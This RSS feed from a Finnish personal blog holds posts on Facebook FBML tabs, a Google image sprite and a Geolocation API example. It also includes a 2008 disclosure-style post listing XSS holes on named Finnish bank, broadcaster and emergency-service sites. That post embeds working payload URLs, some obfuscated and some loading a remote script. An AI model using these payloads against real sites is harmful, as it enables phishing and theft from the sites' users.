<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mikael Korpela &#187; Tekniikka</title>
	<atom:link href="http://www.ihminen.org/tag/tekniikka/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ihminen.org</link>
	<description>5th ape and a little tryhard wannabe vagabond. Usually thinking positive.</description>
	<lastBuildDate>Sun, 22 Jan 2012 23:14:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>LisÃ¤Ã¤ oma vÃ¤lilehti Facebookin fanisivulle</title>
		<link>http://www.ihminen.org/blog/2010/02/28/lisaa_oma_valilehti_facbookin_fanisivulle/</link>
		<comments>http://www.ihminen.org/blog/2010/02/28/lisaa_oma_valilehti_facbookin_fanisivulle/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 15:39:46 +0000</pubDate>
		<dc:creator>Mikael</dc:creator>
				<category><![CDATA[Kotona]]></category>
		<category><![CDATA[Suomi]]></category>
		<category><![CDATA[Creative Commons]]></category>
		<category><![CDATA[Duuni]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Ohjeet]]></category>
		<category><![CDATA[Sosiaalinen media]]></category>
		<category><![CDATA[Tekniikka]]></category>

		<guid isPermaLink="false">http://www.ihminen.org/?p=786</guid>
		<description><![CDATA[Facebookin fanisivut ovat mm. yrityksille hieno tapa olla lÃ¤snÃ¤ sosiaalisessa mediassa ja mahdollisimman lÃ¤hellÃ¤ asiakkaita. SisÃ¤llÃ¶n vapaus Facebookissa on toki valtava, mutta pienellÃ¤ logokuvalla vasemmassa ylÃ¤nurkassa ei vielÃ¤ varsinaisesti rakenneta visuaalista identiteettiÃ¤ fanisivulle. Fanisivulle, toisin kuin ryhmiin (lue nÃ¤iden eroista &#8230; <a href="http://www.ihminen.org/blog/2010/02/28/lisaa_oma_valilehti_facbookin_fanisivulle/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Facebookin fanisivut ovat mm. yrityksille hieno tapa olla lÃ¤snÃ¤ sosiaalisessa mediassa ja mahdollisimman lÃ¤hellÃ¤ asiakkaita. SisÃ¤llÃ¶n vapaus Facebookissa on toki valtava, mutta pienellÃ¤ logokuvalla vasemmassa ylÃ¤nurkassa ei vielÃ¤ varsinaisesti rakenneta visuaalista identiteettiÃ¤ fanisivulle.</p>
<p>Fanisivulle, toisin kuin ryhmiin (<a href="http://www.gemilo.com/yritysblogi/facebookin-ryhmat-ja-fanisivut-kumpi-on-kampi/">lue nÃ¤iden eroista lisÃ¤Ã¤</a>), on mahdollista lisÃ¤tÃ¤ omia vÃ¤lilehtiÃ¤ mm. valokuville, videoille ja asennettaville ohjelmille. VÃ¤lilehtiin on mahdollista lisÃ¤tÃ¤ myÃ¶s tÃ¤ysin omaa, itse muokattua sisÃ¤ltÃ¶Ã¤. Oman vÃ¤lilehden voi halutessaan asettaa kÃ¤yttÃ¤jille ensimmÃ¤isenÃ¤ nÃ¤kyvÃ¤ksi vÃ¤lilehdeksi perinteisen seinÃ¤n sijasta.</p>
<h3>NÃ¤in teet oman vÃ¤lilehden</h3>
<p>Tarvitset aivan aluksi <a href="http://www.facebook.com/apps/application.php?id=4949752878">Static FBML</a>-nimisen ohjelman. Asenna ohjelma fanisivullesi (<i>Add to my Page</i>).</p>
<p>Nyt ohjelma nÃ¤kyy listattuna, kun muokaat sivuasi (fanisivulta <i>&#8220;Edit Page&#8221;</i>).</p>
<p><img src="http://www.ihminen.org/wp-content/uploads/facbook_fbml1.jpg" alt="" title="Facebook FBML" width="567" height="108" class="alignnone size-full wp-image-787" /></p>
<p>Muokataksesi omaa vÃ¤lilehteÃ¤si, valitse <i>&#8220;Edit&#8221;</i>. Esiintulevassa nÃ¤kymÃ¤ssÃ¤ voit valita vÃ¤lilehdelle nimen ja FBML-kohtaan tulee vÃ¤lilehden sisÃ¤ltÃ¶.</p>
<p>SisÃ¤llÃ¶ksi voit kirjoittaa HTML:Ã¤Ã¤, CSS:Ã¤Ã¤, javascriptiÃ¤ ja Facebookin omaa <a href="http://wiki.developers.facebook.com/index.php/FBML">FBML</a>-koodia.  AlkuunpÃ¤Ã¤semiseksi voit kokeilla seuraavaa:</p>
<div class="fvch-code">
<pre class="fvch-line-numbers">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre>
<pre><span class="html"><span class="html-other-element">&lt;fb:header icon=<span class="html-attribute">&quot;false&quot;</span>&gt;</span>Esimerkki<span class="html-other-element">&lt;/fb:header&gt;</span>

<span class="html-other-element">&lt;p&gt;</span>Nam molestie nec tortor. Donec placerat leo sit
amet velit. Vestibulum id justo ut vitae massa.
Proin in dolor mauris consequat aliquam. Donec
ipsum, vestibulum ullamcorper venenatis augue.
Aliquam tempus nisi in auctor vulputate, erat
felis pellentesque augue nec, pellentesque lectus
justo nec erat. Aliquam et nisl. Quisque sit amet
dolor in justo pretium condimentum.<span class="html-other-element">&lt;/p&gt;</span>

<span class="html-other-element">&lt;br /&gt;</span><span class="html-other-element">&lt;br /&gt;</span>
<span class="html-other-element">&lt;hr /&gt;</span>
<span class="html-other-element">&lt;br /&gt;</span><span class="html-other-element">&lt;br /&gt;</span>

<span class="html-other-element">&lt;fb:comments xid=<span class="html-attribute">&quot;demokommentit&quot;</span>
 canpost=<span class="html-attribute">&quot;true&quot;</span> candelete=<span class="html-attribute">&quot;false&quot;</span>&gt;</span>
    <span class="html-other-element">&lt;fb:title&gt;</span>Kommentoi<span class="html-other-element">&lt;/fb:title&gt;</span>
<span class="html-other-element">&lt;/fb:comments&gt;</span></span></pre>
</div>
<p>TÃ¤mÃ¤ lisÃ¤Ã¤ vÃ¤lilehden alkuun otsikon, lyhyen tekstikappaleen ja kommentointimahdollisuuden. Lopputulos nÃ¤yttÃ¤Ã¤ tÃ¤ltÃ¤ (klikkaa kuvaa suuremmaksi):</p>
<p><a href="http://www.ihminen.org/wp-content/uploads/facebook_fbml2.jpg"><img src="http://www.ihminen.org/wp-content/uploads/facebook_fbml2-300x181.jpg" alt="Facebook FBML demo" title="Facebook FBML demo" width="300" height="181" class="alignnone size-medium wp-image-788" /></a></p>
<h3>OletusvÃ¤lilehti</h3>
<p>Voit muuttaa ensimmÃ¤isenÃ¤ nÃ¤kyvÃ¤Ã¤ vÃ¤lilehteÃ¤ muokkaamalla sivun asetuksia kohdasta &#8220;Wall settings&#8221;.  Kohdassa &#8220;Default landing tab for everyone else&#8221; voit valita pudotusvalikosta juuri luodun oman vÃ¤lilehden.</p>
<h3>EsimerkkejÃ¤ vÃ¤lilehdistÃ¤</h3>
<ul>
<li><a href="http://www.facebook.com/porkkanamafia?v=app_210474344465">Porkkanamafia</a> &#8211; Tein tÃ¤lle tosin ihan oman <a href="http://www.facebook.com/apps/application.php?id=210474344465">ohjelmansa</a>, mutta periaate on sama.</li>
<li><a href="http://www.facebook.com/zentointeractive?v=app_10442206389">Zento Oy</a></li>
<li><a href="http://www.facebook.com/GemiloLtd?v=app_161402909403">Gemilo Ltd</a></li>
<li><a href="http://www.facebook.com/refresheverything">Pepsi</a></li>
<li><a href="http://www.facebook.com/refresheverything?v=app_7146470109">Pepsin &#8220;become a fan&#8221;-vÃ¤lilehti</a></li>
<li><a href="http://www.facebook.com/pages/Lakerol-Hyvan-Maun-Ystavat/336604494094">LÃ¤kerol &#8211; HyvÃ¤n Maun YstÃ¤vÃ¤t</a></li>
<li><a href="http://www.facebook.com/pages/YLE-TV2/350447862806">YLE TV 2</a></li>
</ul>
<h3>Tilastointi</h3>
<p>Muista myÃ¶s lisÃ¤tÃ¤ esim. <a href="http://analytics.google.com/">Google Analytics</a> seurantakoodi vÃ¤lilehdellesi, jotta saisit tietÃ¤Ã¤ kÃ¤yttÃ¤jÃ¤mÃ¤Ã¤ristÃ¤. Koodille on myÃ¶s oma <a href="http://wiki.developers.facebook.com/index.php/Fb:google-analytics">FBML-taginsa.</a></p>
<p><small><em>11.3.2010 &#8211; LisÃ¤sin muutaman esimerkin lisÃ¤Ã¤.</em></small><br />
<small><em>11.2.2011 &#8211; Facebook poistaa koko FBML toiminnallisuuden ja jatkossa tabit pitÃ¤Ã¤ hostata omalla palvelimella. Jo tehdyt tabit jatkavat toimimista, mutta uusia ei voi enÃ¤Ã¤ tehdÃ¤.</em></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ihminen.org/blog/2010/02/28/lisaa_oma_valilehti_facbookin_fanisivulle/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Google optimoi</title>
		<link>http://www.ihminen.org/blog/2008/09/01/google-optimoi/</link>
		<comments>http://www.ihminen.org/blog/2008/09/01/google-optimoi/#comments</comments>
		<pubDate>Mon, 01 Sep 2008 19:57:34 +0000</pubDate>
		<dc:creator>Mikael</dc:creator>
				<category><![CDATA[Duuni]]></category>
		<category><![CDATA[Tekniikka]]></category>

		<guid isPermaLink="false">http://www.ihminen.org/blogi/2008/09/01/google-optimoi/</guid>
		<description><![CDATA[Googlen sivut on www-kehitysmielessÃ¤ tosi optimoidut. Hommasta on varmasti hyÃ¶tyÃ¤, sivua kun ladataan muutaman kerran pÃ¤ivÃ¤ssÃ¤ ympÃ¤ri maailman. Just huomasin, mitÃ¤ sen hakurivin vieressÃ¤ olevan logon takaa lÃ¶ytyy: kaikki googlen hakusivuilla kÃ¤ytettÃ¤vÃ¤t kuvat yhdessÃ¤ tiedostossa! (6.2 Kb)]]></description>
			<content:encoded><![CDATA[<p><a class="imagelink" href="http://www.google.com/images/nav_logo3.png" title="Googlen optimointia"><img id="image420" src="http://www.ihminen.org/wp-content/uploads/nav_logo3.png" alt="Googlen optimointia" style="float: right; margin: 0 0 10px 10px;" /></a>Googlen sivut on www-kehitysmielessÃ¤ <i>tosi</i> optimoidut. Hommasta on varmasti hyÃ¶tyÃ¤, sivua kun ladataan muutaman kerran pÃ¤ivÃ¤ssÃ¤ ympÃ¤ri maailman.</p>
<p>Just huomasin, mitÃ¤ sen hakurivin vieressÃ¤ olevan logon takaa lÃ¶ytyy: kaikki googlen hakusivuilla kÃ¤ytettÃ¤vÃ¤t kuvat yhdessÃ¤ tiedostossa! (6.2 Kb)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ihminen.org/blog/2008/09/01/google-optimoi/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google location API ja jQuery -esimerkki</title>
		<link>http://www.ihminen.org/blog/2008/08/26/google-location-api-ja-jquery-esimerkki/</link>
		<comments>http://www.ihminen.org/blog/2008/08/26/google-location-api-ja-jquery-esimerkki/#comments</comments>
		<pubDate>Tue, 26 Aug 2008 15:43:28 +0000</pubDate>
		<dc:creator>Mikael</dc:creator>
				<category><![CDATA[Duuni]]></category>
		<category><![CDATA[Tekniikka]]></category>

		<guid isPermaLink="false">http://www.ihminen.org/blogi/2008/08/26/google-location-api-ja-jquery-esimerkki/</guid>
		<description><![CDATA[Google julkaisi (2) hiljattain mainion Geolocation APIn jonka avulla voi siis tutkia kÃ¤yttÃ¤jÃ¤n sijaintia maapallolla. Temppu ei sinÃ¤nsÃ¤ ole kovin ihmeellinen, mutta nyt google on tehnyt siitÃ¤ erityisen helppoa. Yksi kÃ¤ytÃ¶npaikka voisi olla rekisterÃ¶inti yms. lomakkeissa, joissa kysellÃ¤Ã¤n geo-tietoja, kuten &#8230; <a href="http://www.ihminen.org/blog/2008/08/26/google-location-api-ja-jquery-esimerkki/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="/file/examples/jquery_and_google_location.gif" alt="" style="float:right; margin: 0 0 10px 10px;" />Google <a href="http://googlesystem.blogspot.com/2008/08/apis-for-finding-location.html">julkaisi</a> (<a href="http://www.digitoday.fi/p/200821851">2</a>) hiljattain mainion <a href="http://code.google.com/apis/gears/api_geolocation.html">Geolocation APIn</a> jonka avulla voi siis tutkia kÃ¤yttÃ¤jÃ¤n sijaintia maapallolla. Temppu ei sinÃ¤nsÃ¤ ole kovin ihmeellinen, mutta nyt google on tehnyt siitÃ¤ erityisen helppoa.</p>
<p>Yksi kÃ¤ytÃ¶npaikka voisi olla rekisterÃ¶inti yms. lomakkeissa, joissa kysellÃ¤Ã¤n geo-tietoja, kuten asuinkaupunkia tai -maata. KÃ¤yttÃ¤jÃ¤lle ehdotettaisiin tyhjÃ¤n kentÃ¤n vieressÃ¤ valmista esimerkkiÃ¤, jolloin vÃ¤Ã¤rinkirjoitetut paikkakuntien nimet ainakin jonkin verran vÃ¤henevÃ¤t suurien sivustojen tietokannoista.</p>
<p>Kiinnostuneille webbinÃ¶rteille <a href="/file/examples/jquery_and_google_location.htm" title="jQuery + Google API Location example">esimerkki lÃ¤hdekoodeineen</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ihminen.org/blog/2008/08/26/google-location-api-ja-jquery-esimerkki/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Listaus XSS-haavoittuvuuksista suomessa</title>
		<link>http://www.ihminen.org/blog/2008/03/30/listaus_xss-haavoittuvuuksista_suomessa/</link>
		<comments>http://www.ihminen.org/blog/2008/03/30/listaus_xss-haavoittuvuuksista_suomessa/#comments</comments>
		<pubDate>Sun, 30 Mar 2008 00:06:46 +0000</pubDate>
		<dc:creator>Mikael</dc:creator>
				<category><![CDATA[Media]]></category>
		<category><![CDATA[Tekniikka]]></category>

		<guid isPermaLink="false">http://www.ihminen.org/blogi/2008/03/30/xsssss/</guid>
		<description><![CDATA[Pieni pÃ¤ivitys tÃ¤hÃ¤n viestiin. Muutin tÃ¤mÃ¤n sivun osoitetta (ja otsikkoa) sekÃ¤ liitÃ¤n tuon XSS-sivun suoraan tÃ¤hÃ¤n. Osoite www.ihminen.org/xss/ Toimii edelleen, mutta sama sisÃ¤ltÃ¶ pÃ¤ivittyy siis automaattisesti myÃ¶s tÃ¤hÃ¤n, joten kommentointi on mahdollista. Viimeaikoina on uutisoitu paljon XSS (Cross Site Scripting) &#8230; <a href="http://www.ihminen.org/blog/2008/03/30/listaus_xss-haavoittuvuuksista_suomessa/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Pieni pÃ¤ivitys tÃ¤hÃ¤n viestiin. Muutin tÃ¤mÃ¤n sivun osoitetta (ja otsikkoa) sekÃ¤ liitÃ¤n tuon XSS-sivun suoraan tÃ¤hÃ¤n. Osoite <a href="http://www.ihminen.org/xss/">www.ihminen.org/xss/</a> Toimii edelleen, mutta sama sisÃ¤ltÃ¶ pÃ¤ivittyy siis automaattisesti myÃ¶s tÃ¤hÃ¤n, joten kommentointi on mahdollista.</p>
<hr />
<p>Viimeaikoina on uutisoitu paljon XSS (Cross Site Scripting) -aukoista, joten tsekkailin joutessani läpi suomalaisia uutispalveluita ja muita johtavia/turvallisiksi luultuja nettisivustoja ko. ongelman varalta. Lähes jokaisella sivustolla, jonka testasin, oli XSS-aukkoja. Yleensä viat löytyivät alle minuutissa. Todella harmillisella tolalla isojenkin sivustojen phising-sietokyky. Erityisesti minua huolettaa nuo pankit.</p>
<p>Listaamani esimerkit saattavat olla hieman karkeita, mutta ajan kanssa aukkojen avulla saisi hiottua todella taitavia huijauksia, jotka pahimmillaan aiheuttaisivat asiakkaille rahanmenetyksiä. Aikkoja löytyi myös Osuuspankin ja Aktia-pankin nettisivuilta, jotka luokittelisin vakavimmiksi.</p>
<p>XSS-haavoittuvuutta voi hyödyntyää rikollisesti muotoilemalla sellaisen sähköpostin, että käyttäjä klikkaa viestissä olevaa linkkiä ja antaa jotain tärkeää informaatiota sivustolla joka linkistä aukeaa. Yleensä käyttäjätunnuksia ja tunnuslukuja sivustolle, jolla käsitellään rahaa. Lisää haavoittuvuudesta voi lukea esim. <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">Wikipediasta</a> tai <a href="http://blogit.tietokone.fi/tietojakoneesta/?p=348">Tietokone-lehden blogista</a>.</p>
<p>Testailut olen tehnyt vain Opera-selaimella, joten jotkin XSS-aukot saattavat pikkusäätöjen vuoksi jäädä toimimatta muilla selaimilla. Ne ovat kuitenkin toimivia eivätkä vaatisi paljoa säätöä toimiakseen hyvin.</p>
<p>Materiaalit (tekstit ja kuvat) ovat vapaasti lehdistön ja bloggaajien käytettävissä.</p>
<p>Olen informoinut jokaista sivuston ylläpitäjää. Testataksesi haavoittuvuutta, klikkaa sivuston nimeä tai lue tarkemmat ohjeet/vian kuvaus.</p>
<hr />
<p><h3>Lista</h3>
<ol id="xss_lista">
<h4>Korjaamatta</h4>
<li name="sampo">
        <a href="http://online.sampopankki.fi/DK?gsProdukt=INF&#038;gsNextObj=eAbonment&#038;gsNextAkt=EaboLst&#038;gsSprog=FI&#038;gsBrand=SAM&#038;gsCurItem=%22%3E%3Cscript%20src=http://www.ihminen.org?x1%3E"><b>Sampopankki</b></a> (joukkolainat.fi korjaamatta)<br />
        Sammon parjatusta verkkopankista löytyi jälleen tietoturva-aukko (19.4.). Aukon kautta on mahdollista suorittaa ns. phising-hyökkäyksiä. Esimerkeissä kirjoitan sivun päälle omaa sisältöäni, mm. youtube-videon.</p>
<p>        Toisessa esimerkissä näkyy <a href="http://online.sampopankki.fi/DK?gsProdukt=INF&#038;gsNextObj=eAbonment&#038;gsNextAkt=EaboLst&#038;gsSprog=FI&#038;gsBrand=SAM&#038;gsCurItem=%22%3E%3Cscript%20src=http://www.ihminen.org?x2%3E">Nordean sivu sampopankin päällä</a>.</p>
<p>        Myös sampopankin palvelut <b><a href="http://www.joukkolainat.fi/plsql/kurslister.struk_list?p_language=65&#038;P_menu=&#038;p_table_size=%22%3E%3Cscript%20src=http://www.ihminen.org/xss/inc.js.php%3E%3C/script%3E%3C!--">Joukkolainat.fi</a></b> sekä <b><a href="http://www.rahastot.fi/plsql/fund_output.vis_kursgraf?p_language=59&#038;p_vafdeling=2310&#038;p_valuta=EUR&#038;p_table_size=%22%3E%3Cscript%20src=http://www.ihminen.org/xss/inc.js.php%3E%3C/script%3E%3C!--">Rahastot.fi</a></b> ovat haavoittuvaisia (katso esimerkit linkeistä).</p>
<p>        Tästä minulla on <a href="http://www.ihminen.org/xss/sampopankki_xss_2008-04-19.tiff">kuvakaappaus</a> (TIF, 572 Kb), josta näkyy kuinka osoiterivillä lukee sampopankki.fi</p>
<p>        Olen aiemmin löytänyt aukot jo nordea-, osuus-, ja aktia-pankkien sivuilta. Sampopankkia en aiemmin jaksanut tutkia sivuston pätkimisen vuoksi. Nyt kun tsekkasin niin löytyihän sieltäkin moisia.
    </li>
<li>
        <a href="http://www.yle.fi/uutiset/haku.php?pub_start=%22%3E<script>document.write(String.fromCharCode(60)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(32)%2BString.fromCharCode(115)%2BString.fromCharCode(114)%2BString.fromCharCode(99)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(46)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(105)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(46)%2BString.fromCharCode(102)%2BString.fromCharCode(105)%2BString.fromCharCode(34)%2BString.fromCharCode(115)%2BString.fromCharCode(116)%2BString.fromCharCode(121)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(100)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(112)%2BString.fromCharCode(108)%2BString.fromCharCode(97)%2BString.fromCharCode(121)%2BString.fromCharCode(58)%2BString.fromCharCode(98)%2BString.fromCharCode(108)%2BString.fromCharCode(111)%2BString.fromCharCode(99)%2BString.fromCharCode(107)%2BString.fromCharCode(59)%2BString.fromCharCode(109)%2BString.fromCharCode(105)%2BString.fromCharCode(110)%2BString.fromCharCode(45)%2BString.fromCharCode(104)%2BString.fromCharCode(101)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(59)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(105)%2BString.fromCharCode(111)%2BString.fromCharCode(110)%2BString.fromCharCode(58)%2BString.fromCharCode(97)%2BString.fromCharCode(98)%2BString.fromCharCode(115)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(117)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(59)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(98)%2BString.fromCharCode(111)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(109)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(102)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(114)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(119)%2BString.fromCharCode(105)%2BString.fromCharCode(100)%2BString.fromCharCode(116)%2BString.fromCharCode(104)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(50)%2BString.fromCharCode(56)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(34)%2BString.fromCharCode(62)%2BString.fromCharCode(60)%2BString.fromCharCode(47)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(62));</script>%3C!--"><b>Yle</b></a> (1/3 aukkoa korjattu<!--1.4.-->)<br />
        Ylen sivuille on mahdollista (joskin hieman pidemmän mutkan kautta kuin muille tällä listalla) syöttää käytännössä mitä tahansa haittakoodia. Ylen keskustelualueella on enemmänkin XSS-aukkoja - oikeastaan koko softa pitäisi vaihtaa jos haluavat nuo korjata. (<a href="http://chat.yle.fi/cgi-bin/urheilu/keskustelu/forumdisplay.cgi?action=topics&#038;forum=xss&#038;number=2&#038;DaysPrune=%22%3E%3Cscript%3Ealert('Sivustolta on loytynyt XSS-aukko.')%3C/script%3E%3C!--">esim 1</a>, <a href="http://chat.yle.fi/cgi-bin/urheilu/keskustelu/postings.cgi?action=reply&#038;number=2&#038;topic=000369.cgi&#038;TopicSubject=&#038;forum=%3Ch1%3E%20.%20%20%20XSS-haavoittuvuuden%20ongelma%20on,%20etta%20sisaltoa%20voi%20kirjoittaa%20sivustolle%20ja%20siten%20saada%20sivusto%20nayttamaan%20milta%20tahansa.%20-Mikael%20Korpela%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ciframe%3E%3C!--">esim 2</a>). Ensimmäinen esimerkki aukaisee poliisi.fi-sivuston Ylen sivun päälle ja jälkimmäinen näyttää vain varoituksen.
    </li>
<li><a href="http://www.112.fi/index.php?pageName=%22%3E%3Cscript%3Edocument.write(String.fromCharCode(60)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(32)%2BString.fromCharCode(115)%2BString.fromCharCode(114)%2BString.fromCharCode(99)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(47)%2BString.fromCharCode(47)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(119)%2BString.fromCharCode(46)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(105)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(46)%2BString.fromCharCode(102)%2BString.fromCharCode(105)%2BString.fromCharCode(34)%2BString.fromCharCode(115)%2BString.fromCharCode(116)%2BString.fromCharCode(121)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(61)%2BString.fromCharCode(34)%2BString.fromCharCode(100)%2BString.fromCharCode(105)%2BString.fromCharCode(115)%2BString.fromCharCode(112)%2BString.fromCharCode(108)%2BString.fromCharCode(97)%2BString.fromCharCode(121)%2BString.fromCharCode(58)%2BString.fromCharCode(98)%2BString.fromCharCode(108)%2BString.fromCharCode(111)%2BString.fromCharCode(99)%2BString.fromCharCode(107)%2BString.fromCharCode(59)%2BString.fromCharCode(109)%2BString.fromCharCode(105)%2BString.fromCharCode(110)%2BString.fromCharCode(45)%2BString.fromCharCode(104)%2BString.fromCharCode(101)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(59)%2BString.fromCharCode(112)%2BString.fromCharCode(111)%2BString.fromCharCode(115)%2BString.fromCharCode(105)%2BString.fromCharCode(116)%2BString.fromCharCode(105)%2BString.fromCharCode(111)%2BString.fromCharCode(110)%2BString.fromCharCode(58)%2BString.fromCharCode(97)%2BString.fromCharCode(98)%2BString.fromCharCode(115)%2BString.fromCharCode(111)%2BString.fromCharCode(108)%2BString.fromCharCode(117)%2BString.fromCharCode(116)%2BString.fromCharCode(101)%2BString.fromCharCode(59)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(112)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(98)%2BString.fromCharCode(111)%2BString.fromCharCode(116)%2BString.fromCharCode(116)%2BString.fromCharCode(111)%2BString.fromCharCode(109)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(108)%2BString.fromCharCode(101)%2BString.fromCharCode(102)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(114)%2BString.fromCharCode(105)%2BString.fromCharCode(103)%2BString.fromCharCode(104)%2BString.fromCharCode(116)%2BString.fromCharCode(58)%2BString.fromCharCode(48)%2BString.fromCharCode(59)%2BString.fromCharCode(119)%2BString.fromCharCode(105)%2BString.fromCharCode(100)%2BString.fromCharCode(116)%2BString.fromCharCode(104)%2BString.fromCharCode(58)%2BString.fromCharCode(49)%2BString.fromCharCode(50)%2BString.fromCharCode(56)%2BString.fromCharCode(48)%2BString.fromCharCode(112)%2BString.fromCharCode(120)%2BString.fromCharCode(34)%2BString.fromCharCode(62)%2BString.fromCharCode(60)%2BString.fromCharCode(47)%2BString.fromCharCode(105)%2BString.fromCharCode(102)%2BString.fromCharCode(114)%2BString.fromCharCode(97)%2BString.fromCharCode(109)%2BString.fromCharCode(101)%2BString.fromCharCode(62));%3C/script%3E%3Ciframe%3E%3C!--%3Ca%20name=%22xss"><b>Hätäkeskuslaitos</b></a><br />
        Hätäkeskuksen sivuille voi kirjoittaa mitä tahansa haittakoodia. Esimerkki lataa poliisi.fi-sivuston ko. sivun päälle.
    </li>
<li>
